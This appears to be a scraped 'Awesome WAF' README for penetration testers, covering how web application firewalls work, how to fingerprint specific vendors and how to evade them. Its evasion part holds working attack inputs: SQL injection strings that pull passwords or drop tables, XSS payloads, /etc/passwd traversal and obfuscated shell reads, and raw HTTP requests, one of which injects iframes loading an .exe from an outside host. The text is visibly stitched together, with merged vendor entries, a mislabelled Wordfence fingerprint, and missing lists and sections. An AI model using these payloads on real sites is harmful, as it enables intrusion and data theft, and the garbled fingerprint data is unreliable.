Python 🔥 Everything awesome about web-application firewalls (WAF).
Awesome WAF
Everything awesome about web application firewalls (WAFs). 🔥
Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there. You might want to keep this repo on a watch, since it will be updated regularly. "The community just learns from each other." #SharingisCaring
A Concise Definition: A web application firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)
Using a set of rules to distinguish between normal requests and malicious requests.
Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
Operation Modes:
Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking all <script>*</script> inputs.
Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
Mixed/Hybrid Model (Inclusive model) - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet.
Testing Methodology:
Where To Look:
Always look out for common ports that expose that a WAF, namely 80, 443, 8000, 8008, 8080 and 8088 ports.
Tip: You can use automate this easily by commandline using tools like like cURL.
Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
Some often alter headers and jumble characters to confuse attacker (eg. Netscaler, Big-IP).
Some expose themselves in the Server header (eg. Approach, WTS WAF).
Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF).
Detection Techniques:
To identify WAFs, we need to (dummy) provoke it.
Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
Make GET requests to random open ports and grab banners which might expose the WAFs identity.
If there is a login page somewhere, try some common (easily detectable) payloads like " or 1 = 1 --.
If there is some input field somewhere, try with noisy payloads like <script>alert()</script>.
Attach a dummy ../../../etc/passwd to a random parameter at end of URL.
Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter.
Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
Many a times, the WAF varies the Server header upon different types of interactions.
Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
Tip: This method could be easily achieved with tools like HPing3 or Scapy.
Side Channel Attacks - Examine the timing behaviour of the request and response content.
WAF Fingerprints
Wanna fingerprint WAFs? Lets see how.
NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.
WAF
Fingerprints
360
Detectability: Easy
Detection Methodology:
Returns status code 493 upon unusual requests.
Blockpage may contain reference to wzws-waf-cgi/ directory.
Blocked response page source may contain:
Reference to wangshan.360.cn URL.
Sorry! Your access has been intercepted because your links may threaten website security. text snippet.
Response headers may contain X-Powered-By-360WZB header.
Your request was blocked by Cloudbric text snippet.
Reference to https://cloudbric.zendesk.com URL.
Cloudbric Help Center text.
Page title starting with Cloudbric | ERROR!.
Cloudflare
Detectability: Easy
Detection Methodology:
Response headers might have cf-ray field value.
Server header field has value cloudflare.
Set-Cookie response headers have __cfuid= cookie field.
Page content might have Attention Required! or Cloudflare Ray ID:.
Page content may contain DDoS protection by Cloudflareas text.
You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
CloudfloorDNS
Detectability: Easy
Detection Methodology:
Server header field has value CloudfloorDNS WAF.
Block-page title might have CloudfloorDNS - Web Application Firewall Error.
Page content may contain www.cloudfloordns.com/contact URL as a contact link.
Cloudfront
Detectability: Easy
Detection Methodology:
Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request.
Comodo cWatch
Detectability: Easy
Detection Methodology:
Server header contains Protected by COMODO WAF value.
CrawlProtect
Detectability: Easy
Detection Methodology:
Response cookies might contain crawlprotect cookie name.
Block Page title has CrawlProtect keyword in it.
Blocked response content contains value This site is protected by CrawlProtect !!! upon malicious request.
Deny-All
Detectability: Difficult
Detection Methodology:
Response content contains value Condition Intercepted.
Set-Cookie header contains cookie field sessioncookie.
Distil Web Protection
Detectability: Easy
Detection Methodology:
Response headers contain field value X-Distil-CS in all requests.
Blocked response page contains:
Pardon Our Interruption... heading.
You have disabled javascript in your browser. text snippet.
Something about your browser made us think that you are a bot. text.
DoSArrest Internet Security
Detectability: Easy
Detection Methodology:
Response headers contain field value X-DIS-Request-ID.
Server header contains DOSarrest keyword.
DotDefender
Detectability: Easy
Detection Methodology:
Blocked response content contains value dotDefender Blocked Your Request.
Blocked response headers contain X-dotDefender-denied field value.
DynamicWeb Injection Check
Detectability: Easy
Detection Methodology:
Blocked response headers contain X-403-Status-By field with value dw-inj-check value.
e3Learning Security
Detectability: Easy
Detection Methodology:
Server header contains e3Learning_WAF keyword.
EdgeCast (Verizon)
Detectability: Easy
Detection Methodology:
Blocked response content contains value Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
Blocked response code returns 400 Bad Request on malicious requests.
Server headers may contain WatchGuard field value.
Blocked response page contains:
Request denied by WatchGuard Firewall text.
WatchGuard Technologies Inc. as footer.
WebARX Security
Detectability: Easy
Detection Methodology:
Restricted to specifically WordPress sites only.
Blocked response page contains:
This request has been blocked by WebARX Web Application Firewall text.
Reference to /wp-content/plugins/webarx/ directory where it is installed.
WebKnight
Detectability: Easy
Detection Methodology:
Response headers contain WebKnight keyword.
Blocked response page contains:
WebKnight Application Firewall Alert text warning.
AQTRONIX WebKnight text snippet.
Blocked response code returned is 999 No Hacking. :p
Blocked response code returned is also 404 Hack Not Found. :p
WebLand
Detectability: Easy
Detection Methodology:
Server header contains Apache Protected By WebLand WAF keyword.
WebRay
Detectability: Easy
Detection Methodology:
Server header contains WebRay-WAF keyword.
Response headers may have DrivedBy field with value RaySrv RayEng/{version}.
WebSEAL
Detectability: Easy
Detection Methodology:
Server header contain WebSEAL keyword.
Blocked response page contains:
This is a WebSEAL error message template file text.
WebSEAL server received an invalid HTTP request text snippet.
WebTotem
Detectability: Easy
Detection Methodology:
Blocked response page contains The current request was blocked by WebTotem.
West263CDN
Detectability: Easy
Detection Methodology:
Response headers contain X-Cache header field with WT263CDN value.
Wordfence
Detectability: Easy
Detection Methodology:
Response headers contain WebKnight keyword.
Blocked response page contains:
Generated by Wordfence text snippet.
A potentially unsafe operation has been detected in your request to this site text warning.
Your access to this site has been limited text warning.
This response was generated by Wordfence text snippet.
WTS-WAF
Detectability: Easy
Detection Methodology:
Blocked response page title has WTS-WAF keyword.
Server header contains wts as value.
XLabs Security WAF
Detectability: Easy
Detection Methodology:
Response headers contain X-CDN header field with XLabs Security value.
Xuanwudun WAF
Detectability: Easy
Detection Methodology:
Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.
Yunaq Chuangyu
Detectability: Moderate
Detection Methodology:
Response page has reference to:
365cyd.com or 365cyd.net URL.
Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
Detectability: Easy
Detection Methodology:
Server header contains YUNDUN as value.
X-Cache header field contains YUNDUN as value.
Response page contains Blocked by YUNDUN Cloud WAF text snippet.
Blocked response page contains reference to yundun.com/yd_http_error/ URL.
Yunsuo
Detectability: Easy
Detection Methodology:
Blocked response page contains image class reference to yunsuologo.
Response headers contain the yunsuo_session field name.
YxLink
Detectability: Easy
Detection Methodology:
Response might have yx_ci_session cookie field.
Response might have yx_language cookie field.
Server header contains Yxlink-WAF field value.
ZenEdge
Detectability: Easy
Detection Methodology:
Blocked response page contains reference to /__zenedge/assets/ directory.
Server header contain ZENEDGE keyword.
Blocked response headers may contain X-Zen-Fury header.
ZScaler
Detectability: Easy
Detection Methodology:
Server header has value set to ZScaler.
Blocked response page contains:
Access Denied: Accenture Policy text.
Reference to https://policies.accenture.com URL.
Reference to image at https://login.zscloud.net/img_logo_new1.png.
Your organization has selected Zscaler to protect you from internet threats.
The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.
Evasion Techniques
Lets look at some methods of bypassing and evading WAFs.
Fuzzing/Bruteforcing:
Method:
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
Uninitialized bash variables can evade bad regular expression based filters and pattern match.
These have value equal to null/they act like empty strings.
Both bash and perl allow this kind of interpretations.
BONUS: Variable names can have any number of random characters. I have represented them here as $aaaaaa, $bbbbbb, and so on. You can replace them with any number of random chars like $ushdjah and so on. ;)
Level 1 Obfuscation: Normal Standard: /bin/cat /etc/passwd Obfuscated: /bin/cat$u /etc/passwd$u
Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
However, the request must still remain valid while using token-breakers.
Case: Unknown Token for the Tokenizer
Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
Case: Unknown Context for the Parser (Notice the uncontexted bracket)
Payload 1: ?id=123);DROP TABLE users --
Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --
TIP: More payloads can be crafted via this cheat sheet.
14. Obfuscation in Other Formats
Many web applications support different encoding types and can interpret the encoding (see below).
Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.
Case: IIS
IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations.
We can encode our payload and send the encoded parameters with the query.
Original Request:
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--
Query string in its original format (could be url-encoded as usual).
Body could be sent with/without url-encoding.
Equal sign and ampersand should not be encoded in any way.
HTTP Parameter Pollution
Method:
This attack method is based on how a server interprets parameters with the same names.
Possible bypass chances here are:
The server uses the last received parameter, and WAF checks only the first.
The server unites the value from similar parameters, and WAF checks them separately.
Technique:
The idea is to enumerate how the parameters are being interpreted by the server.
In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
Distributing a payload across parameters which can later get concatenated by the server is also useful.
Below is a comparison of different servers and their relative interpretations:
Environment
Parameter Interpretation
Example
ASP/IIS
Concatenation by comma
par1=val1,val2
JSP, Servlet/Apache Tomcat
First parameter is resulting
par1=val1
ASP.NET/IIS
Concatenation by comma
par1=val1,val2
PHP/Zeus
Last parameter is resulting
par1=val2
PHP/Apache
Last parameter is resulting
par1=val2
JSP, Servlet/Jetty
First parameter is resulting
par1=val1
IBM Lotus Domino
First parameter is resulting
par1=val1
IBM HTTP Server
Last parameter is resulting
par1=val2
mod_perl, libapeq2/Apache
First parameter is resulting
par1=val1
Oracle Application Server 10G
First parameter is resulting
par1=val1
Perl CGI/Apache
First parameter is resulting
par1=val1
Python/Zope
First parameter is resulting
par1=val1
IceWarp
An array is returned
['val1','val2']
AXIS 2400
Last parameter is resulting
par1=val2
DBMan
Concatenation by two tildes
par1=val1~~val2
mod-wsgi (Python)/Apache
An array is returned
ARRAY(0x8b9058c)
HTTP Parameter Fragmentation
HPF is based on the principle where the server unites the value being passed along the parameters.
We can split the payload into different components and then pass the values via the parameters.
Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
TIP: A real life example how bypasses can be crafted using this method can be found here.
Browser Bugs:
Charset Bugs:
We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
When the site decodes the string, the payload gets triggered.
Example request:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
When the site loads, it will be encoded to the UTF-32 encoding that we set, and
then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.
However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
Abusing SSL/TLS Ciphers:
Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
Technique:
Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
Find out the ciphers supported by the server (tools like SSLScan helps here).
If a specific cipher not supported by WAF but by the server, is found, voila!
Initiating a new connection to the server with that specific cipher should smuggle our payload in.
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>
var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1